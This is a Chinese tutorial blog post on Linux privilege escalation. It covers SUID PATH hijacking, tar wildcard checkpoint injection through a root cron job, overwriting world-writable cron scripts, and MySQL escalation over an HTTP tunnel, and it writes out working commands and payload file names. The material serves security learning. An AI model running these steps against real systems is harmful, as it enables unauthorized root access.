Linux提权:定时任务 环境变量 配置不当 数据库

news2024/11/27 12:51:57

目录

环境变量配合SUID

实战测试

原理分析

实战中如何发现挖掘这类安全问题

定时任务打包配合SUID

原理分析

定时任务权限配置不当

数据库提权-梭哈的艺术

隧道出网提权


环境变量配合SUID

实战测试

这个提权方法比较鸡肋,因为它需要两个前提条件:

  • 1.需要复制suid权限
  • 2.设置环境变量需要有本地用户权限,web权限设置不了

探针:

find / -user root -perm -4000 -print 2>/dev/null 

探测除系统命令外管理员添加的具有suid权限的文件

root用户讲可执行文件进行编译,保证文件的正常授权运行,给予ROOT权限执行

domo.c

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");  #system权限执行ps命令
}

ps自带的环境变量 路径:

[fragile@localhost tmp]# whereis ps
ps: /usr/bin/ps /usr/share/man/man1/ps.1.gz /usr/share/man/man1p/ps.1p.gz

编译demo文件重命名为shell(给到了suid权限),赋予执行权限 执行后运行ps命令

gcc demo.c -o shell
chmod u+s shell

普通用户通过对文件反编译或源代码查看,覆盖其执行环境变量,直接让其执行指定程序获取权限

cp /bin/bash /104/ps
export PATH=/104:$PATH
./shell
id

在这里插入图片描述

原理分析

demo.c会执行ps命令,会调用系统的环境变量 路径:/bin/ps

root为了这个文件能被所有用户使用,就给它加上了suid权限

而且Linux系统的变量规则:执行ps时,会优先找当前目录有没,没有的话再往系统外找。

复制bash到当前目录取名为ps,demo.c执行ps命令时就会优先到当前目录的ps执行,而ps实际上是一个bash。

由于环境变量加了/104/ps,而/104/ps其实是/bash

就像与demo.c执行bash,直接完成提权

注:当前目录优先级高于环境变量

实战中如何发现挖掘这类安全问题

  1. 普通用户权限下先获取suid所有程序
  2. 去除系统自带的一些命令(筛选第三方程序)
  3. 对该程序进行反编译或者找源码 明白该程序的作用
  4. 思考该程序有无执行一些环境变量命令 (ps ping su sudo 等 比如该shell程序执行了ps命令)
  5. 尝试通过复制suid提权命令 复制替换原来的执行命令 (先添加环境变量 优先执行复制后的命令)
     

定时任务打包配合SUID

背景:运维为了防止数据丢失等,写一个定时任务进行数据的打包压缩
数据打包命令可以尝试添加参数调用其他命令执行

tar zxf 1.tar.gz /var/www/*

提权通过获取计划任务执行文件信息进行提权

相对路径和绝对路径执行,计划任务命令存在参数调用

利用计划任务的备份功能tar命令的参数利用
定时任务crontab配置文件:
backup.sh

cd /tmp/;
tar czf /tmp/backup.tar.gz *  #压缩当前目录所有文件至/tmp/backup.tar.gz
[root@localhost tmp]# cat /etc/crontab #定义每分钟执行一次脚本
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
* * * * * root /tmp/backup.sh
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name  command to be executed

配合SUID提权

echo "" > "--checkpoint-action=exec=sh test.sh"		#将空文件写入--checkpoint-action=exec=sh test.sh中
echo "" > --checkpoint=1
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh   #写入命令  chmod +s对可执行文件升级权限 赋予suid权限
chmod +x test.sh

等待触发定时任务 

原理分析

定时任务执行/tmp/backup.sh
cd /tmp/;tar czf /tmp/backup.tar.gz *
tar czf /tmp/backup.tar.gz --checkpoint-action=exec=sh test.sh
tar czf /tmp/backup.tar.gz --checkpoint=1
定时任务进行文件压缩的时候利用tar命令进行命令执行 与文件名进行拼接 从而间接执行test.sh文件
执行当前目录的bash程序 借助suid进行bash提权
由于定时任务是root用户下发的,所以执行中是root权限
 

可能会出现的错误:/tmp/back.sh 权限不够

将backup.sh 权限设置为可执行就可以了
注:一般适用于本地用户提权 webshell权限可能看不了压缩后的目录文件

定时任务权限配置不当

Linux 下的每个文件都有以下三种权限
r:表示读取,对应的数字为 4
w:表示写入,对应的数字为 2
x:表示执行,对应的数字为 1
通过 4、2、1 的组合,进行权限分配

利用不安全的权限分配操作导致的定时文件覆盖
chmod 777 775 等 所有者 组 其他成员说明
什么意思呢?就是管理员或运维人员在使用定时任务进行bash脚本时,提前会赋予脚本执行权限
比如chmod +x xxx.sh chmod 555 xxx.sh 这些都是正常的,但是有些管理员可能会由于粗心直接设置chmod 777 xxx.sh 此时普通用户也具有w权限,即具有写入权限,拿到普通用户权限之后可以直接修改xxx.sh,比如在脚本中添加反弹shell命令,从而利用定时任务执行反弹shell(执行为root权限)。
定时任务是调用时是root权限

数据库提权-梭哈的艺术

背景:提权MySQL数据库时,发现数据库不允许外链,使用Root权限开启外链,但仍然失败

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;

即使如此,仍然失败。经过分析得知:防火墙过滤,无法正向链接数据库。

策略有二:

  1. 手工提权,通过哥斯拉/冰蝎的数据库链接进行提权,相当于自己连自己
  2. 隧道出网,用外部或本机的工具项目提权,建立隧道

查看本地的网络连接情况
netstat -ano 

隧道出网提权

靶机地址:vulnhub.com上

                  百度网盘 请输入提取码

提权的项目:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization Tools

使用冰蝎进行内网穿透

这种方式是使用基于HTTP隧道的但端口映射

HTTP隧道(HTTP tunneling)是一种通过HTTP协议传输其他协议数据的技术。在网络环境中,有时候会限制某些协议的直接传输,例如SSH或其他非标准协议。通过HTTP隧道,可以将这些协议的数据封装在HTTP请求和响应中进行传输。

单端口映射是一种将外部网络流量通过一个端口映射到内部网络的技术。使用单端口映射可以使多个不同的协议流量通过同一个端口进行传输。

结合HTTP隧道和单端口映射,可以实现将其他协议的数据通过HTTP隧道传输,并映射到单个端口上的目标服务器上。

就是把3306的流量封装进入HTTP协议,通过80端口转发本机的3300端口。

进入提权页面

提权成功,这款工具支持多种数据库提权

当然也有手工提权的方式,但是建议使用工具,linux上的数据库提权其实和Windows差不多

如果你还对windows上数据库提权不熟悉的话,请参考我得另一篇博客:

Windows提权:利用MySQL数据库_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客

Windows提权:利用MSSQL数据库,Oracle数据库_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客

其它的数据库提权项目汇总:

MDUT 2.0 数据库利用工具 https://github.com/SafeGroceryStore/MDUT MDUT
综合高危漏洞利用工具(包含各大数据库) https://github.com/Liqunkit/LiqunKit_ LiqunKit
sqlserver利用工具 https://github.com/uknowsec/SharpSQLTools
SharpSQLTools 通过套接字重用通过受损的 Microsoft SQL Server 在受限环境中执行横向移动
数据库攻击工具 https://github.com/quentinhardy/odat ODAT
https://github.com/blackarrowsec/mssqlproxy mssqlproxy ODAT:Oracle

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/598204.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言:函数栈帧

寄存器&#xff1a; eax ebx ecx edx ebp esp 必须理解这两个寄存器&#xff08;寄存器是独立于内存的&#xff09; 这两个寄存器存放的是地址&#xff0c;用来维护函数栈帧&#xff08;正在调用哪个函数&#xff0c;两个寄存器就维护哪个函数的栈帧&#xff09; 每一个函数都…

C# NX二次开发:实现制图模块复制Sheet页,并且获取其中表格

今天要讲的是如何在NX中实现制图模块当前Sheet页的复制&#xff0c;并且获取Sheet页中的表格。首先简单介绍一下NX的制图模块是做什么的。 在NX中建模模块是用来绘制模型的&#xff0c;而想要将模型的相关尺寸投出来直观的看到&#xff0c;就要用到制图模块。 在制图模块中可…

leetcode--从二叉搜索树到更大和树(java)

从二叉搜索树到更大和树 leetcode -1038 题 从二叉搜索树到更大和树解题思路代码演示二叉树专题 leetcode -1038 题 从二叉搜索树到更大和树 原题链接&#xff1a; https://leetcode.cn/problems/binary-search-tree-to-greater-sum-tree/ 题目描述 给定一个二叉搜索树 root (B…

Chrome提示由贵单位管理该怎么取消?

如果你的 Chrome处于托管&#xff0c;你的管理员是可以设置或限制一些特定功能、可以安装一些应用、监视活动以及控制您的使用方式。 如何知道是否托管&#xff1a; 打开 Chrome 。在右上角&#xff0c;选择“更多”图标 。查看菜单底部。如果您看到“由贵单位管理”&#xff…

泡利矩阵(一)

〇、厄米矩阵 厄米矩阵&#xff08;Hermitian Matrix&#xff09;&#xff0c;也称为自共轭矩阵&#xff08;Self-adjoint Matrix&#xff09;&#xff0c;是线性代数中的一个重要概念。它是指一个复数域上的方阵&#xff0c;其转置矩阵与共轭矩阵相等。 具体来说&#xff0c…

15稳压二级管

目录 一、基本原理 二、I-V特性 三、工作原理 四、参数 1、Vz 2、Zzt和Zzk 3、IrVr 4、VfIf 5、Pd 五、应用 1、示例1 2、串联应用 3、钳位电路 六、动态电阻 一、基本原理 稳压二极管或“击穿二极管”(有时也称为齐纳二极管)基本上与标准PN结二极管相同&#xf…

Linux NGINX服务

NGINX与Apache对比 轻量级&#xff0c;Nginx比apache 占用更少的内存及资源&#xff1b;静态处理&#xff0c;Nginx 静态处理性能比 Apache 高 &#xff1b;Nginx可以实现无缓存的反向代理加速&#xff0c;提高网站运行速度&#xff1b;Nginx的性能和可伸缩性不依赖于硬件&…

multipass基础入门,搭建本地迷你云,一个比VMware轻量的虚拟机软件

介绍 multipass是一款轻量&#xff0c;且开源的虚拟机。 Multipass是一个灵活、强大的工具&#xff0c;可用于多种用途。在其最简单的形式下&#xff0c;它可以用来在任何主机上快速创建和销毁Ubuntu虚拟机&#xff08;实例&#xff09;。在更全面的情况下&#xff0c;Multip…

redhat9 shell脚本判断磁盘、判断web运行、curl测试web(及一些报错纠正)

1、判断当前磁盘剩余空间是否有20G&#xff0c;如果小于20G&#xff0c;则将报警邮件发送给管理员&#xff0c;每天检查一次磁盘剩余空间。 2、判断web服务是否运行&#xff08;1、查看进程的方式判断该程序是否运行 2、通过查看端口的方式判断该程序是否运行&#xff09;&…

关于这款开源的ES的ORM框架-Easy-Es适合初学者入手不?

前言 最近笔者为了捡回以前自学的ES知识&#xff0c;准备重新对ES的一些基础使用做个大致学习总结。然后在摸鱼逛开源社区时无意中发现了一款不错的ElasticSearch插件-Easy-ES&#xff0c;可称之为“ES界的MyBatis-Plus”。联想到之前每次用RestHighLevelClient写一些DSL操作时…

微信小程序 nodejs+vue+python家校通家校联系作业系统

家本系统有家长&#xff0c;教师&#xff0c;管理员三个角色&#xff0c;家长可以注册登陆小系统&#xff0c;查看公告&#xff0c;查看教师布置的作业&#xff0c;上传孩子的作业&#xff0c;查看学生成绩&#xff0c;成绩统计&#xff0c;家长在线发贴交流&#xff0c;在线留…

009 - STM32学习笔记 - 中断

009 - STM32学习笔记 - 中断 这节的内容&#xff0c;野火的官方视频我反复看了好几次&#xff0c;但是感觉火哥在这块讲解的特别绕&#xff0c;理解起来很吃力&#xff0c;后来在看了一下其他老师的视频&#xff0c;结合一些书本资料和官方手册&#xff0c;才搞清楚STM32中断该…

基于STM32设计的炉温温度检测仪

炉温检测在现代工业生产中十分重要&#xff0c;因为炉温过高或过低都会对产品质量产生影响&#xff0c;甚至影响工厂的正常运作。因此&#xff0c;设计一款能够精准测量炉温并显示结果的检测仪器具有很大的实用价值。 本项目采用了STM32F103C8T6作为主控芯片&#xff0c;该芯片…

CoreNLP server的开启与使用方法

Ubuntu20.04.2使用CoreNLP JDK安装 Ubuntu20.04.2系统本身不含有JDK&#xff0c;而CoreNLP需要依赖JDK进行运行&#xff0c;所以需要先安装好JDK&#xff0c;可以输入java&#xff0c;然后系统会自动提示没有安装JDK&#xff0c;并会推荐安装的版本&#xff0c;如下图所示&am…

第二十四章手写Spring框架

文章目录 Spring 使用回顾Bean 概述Spring IOC 相关接口BeanFactory 接口BeanDefinition 接口BeanDefinitionReader 接口BeanDefinitionRegistry 接口创建容器 手写模拟Spring IOC核心功能定义 Bean 相关的 POJOPropertyValue 类MutablePropertyValues 类BeanDefinition 类 定义…

2023 中国城市商业魅力排行榜:探索西安商业活力与无限机遇【探索中国城市商业魅力排行榜】

文章目录 探索中国城市商业魅力排行榜评估指标价值和意义 结语 探索中国城市商业魅力排行榜 随着中国经济的迅速崛起&#xff0c;中国各个城市商业中心纷纷崭露头角&#xff0c;展现出令人瞩目的商业魅力。为了揭示这些城市商业的繁荣程度、创新力和吸引力&#xff0c;我们荣幸…

什么是devos勒索病毒,devos勒索病毒加密数据的方式

随着技术和互联网的发展&#xff0c;网络安全成为了重要的关注点。而devos勒索病毒可能是我们需要重点关注的一种恶意软件类型。因此&#xff0c;我们了解devos勒索病毒是什么以及它是如何加密数据的将有助于我们企业提升网络安全意识。 什么是devos勒索病毒&#xff1f; Devos…

Lombok源码

目录儿 jar包结构MainSpiLoadUtilfindServices()readServicesFromUrl()META-INF/services/lombok.core.LombokApp ShadowClassLoaderAgentlombok.core.AgentLauncher Handler jar包结构 Main 这应该是Lombok的入口函数 class Main {private static ShadowClassLoader classLo…

vue3 使用的 Pinia

文章目录 一、Pinia API与Vuex s4 有很大不同二、使用步骤1.安装2.使用3、组件中应用案例 官网&#xff1a;https://pinia.web3doc.top/ 一、Pinia API与Vuex s4 有很大不同 没有 mutations。mutations 被认为是非常几长的。最初带来了 devtools 集成&#xff0c;但这不再是问…

成功解决windows下将.pyx文件编译成.pyd文件

在linux上正常跑通的算法&#xff0c;搬到windows下使用就报错了 原来是其中涉及到.pyx文件的编译 在linux下.pyx会被编译成.so的文件&#xff0c;但是在windows下是无法使用.so文件的 需要重新编译成windows下的.pyd格式的才可以直接将python模块成功导入到算法中 所以需要解…